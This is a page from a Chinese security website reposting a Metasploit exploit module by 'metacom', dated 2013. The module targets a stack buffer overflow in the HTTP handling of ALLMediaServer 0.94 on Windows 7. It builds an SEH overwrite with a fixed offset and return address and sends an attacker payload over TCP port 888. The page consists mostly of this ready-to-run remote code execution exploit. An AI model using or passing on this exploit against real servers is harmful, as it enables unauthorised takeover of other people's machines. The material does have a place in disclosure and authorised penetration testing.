首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
ALLMediaServer 0.94 Buffer Overflow Exploit
来源:metacom27[at]gmail.com 作者:metacom 发布时间:2013-04-01  
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	#Rank definition: http://dev.metasploit.com/redmine/projects/framework/wiki/Exploit_Ranking
	#ManualRanking/LowRanking/AverageRanking/NormalRanking/GoodRanking/GreatRanking/ExcellentRanking
	Rank = NormalRanking

	include Msf::Exploit::Remote::Tcp
	include Msf::Exploit::Seh

	def initialize(info = {})
		super(update_info(info,
			'Name'		=> 'ALLMediaServer 0.94 Buffer Overflow Exploit',
			'Description'	=> %q{
					This module exploits a stack buffer overflow in ALLMediaServer 0.94. The vulnerability
                    is caused due to a boundary error within the handling of HTTP request.
			},
			'License'		=> MSF_LICENSE,
			'Author'		=>
				[
					'metacom<metacom27[at]gmail.com>',	# Original discovery
					'<metacom>',	# MSF Module
                                         'RST',
				],
			'References'	=>
				[
					[ 'OSVDB', '<insert OSVDB number here>' ],
					[ 'CVE', 'insert CVE number here' ],
					[ 'URL', 'http://www.bugsearch.net/en/14147/allmediaserver-094-seh-overflow-exploit.html' ]
				],
			'DefaultOptions' =>
				{
					'ExitFunction' => 'process', #none/process/thread/seh
					#'InitialAutoRunScript' => 'migrate -f',
				},
			'Platform'	=> 'win',
			'Payload'	=>
				{
					'BadChars' => "\x00", # <change if needed>
					'DisableNops' => true,
				},

			'Targets'		=>
				[
					[ 'Windows 7',# Tested on: Windows 7 SP1/SP0
						{
							'Ret'   	=>	0x65EC24CA, # pop eax # pop ebx # ret  - avcodec-53.dll
							'Offset'	=>	1065
						}
					],
				],
			'Privileged'	=> false,
			#Correct Date Format: "M D Y"
			#Month format: Jan,Feb,Mar,Apr,May,Jun,Jul,Aug,Sep,Oct,Nov,Dec
			'DisclosureDate'	=> 'Mar 28 2013',
			'DefaultTarget'	=> 0))

		register_options([Opt::RPORT(888)], self.class)

	end

	def exploit


		connect
        buffer = "http://"
		buffer << rand_text(target['Offset'])	#junk
		buffer << generate_seh_record(target.ret)
		buffer << payload.encoded	#3931 bytes of space
		# more junk may be needed to trigger the exception

		print_status("Sending payload to ALLMediaServer on #{target.name}...")
		sock.put(buffer)

		handler
		disconnect

	end
end


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Konftel 300IP SIP-based Confer
·KNet Web Server 1.04b - Buffer
·McAfee Virtual Technician (MVT
·Draytek Vigor 3900 1.06 - Priv
·BlazeDVD Free Edition 6.1.1.6
·STUNSHELL Web Shell Remote PHP
·v0pCr3w Web Shell Remote Code
·STUNSHELL Web Shell Remote Cod
·Java CMM Remote Code Execution
·Ruby Gem ldoce 0.0.2 Command E
·Konftel 300IP 2.1.2 Reboot Byp
·Novell ZENworks Configuration
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved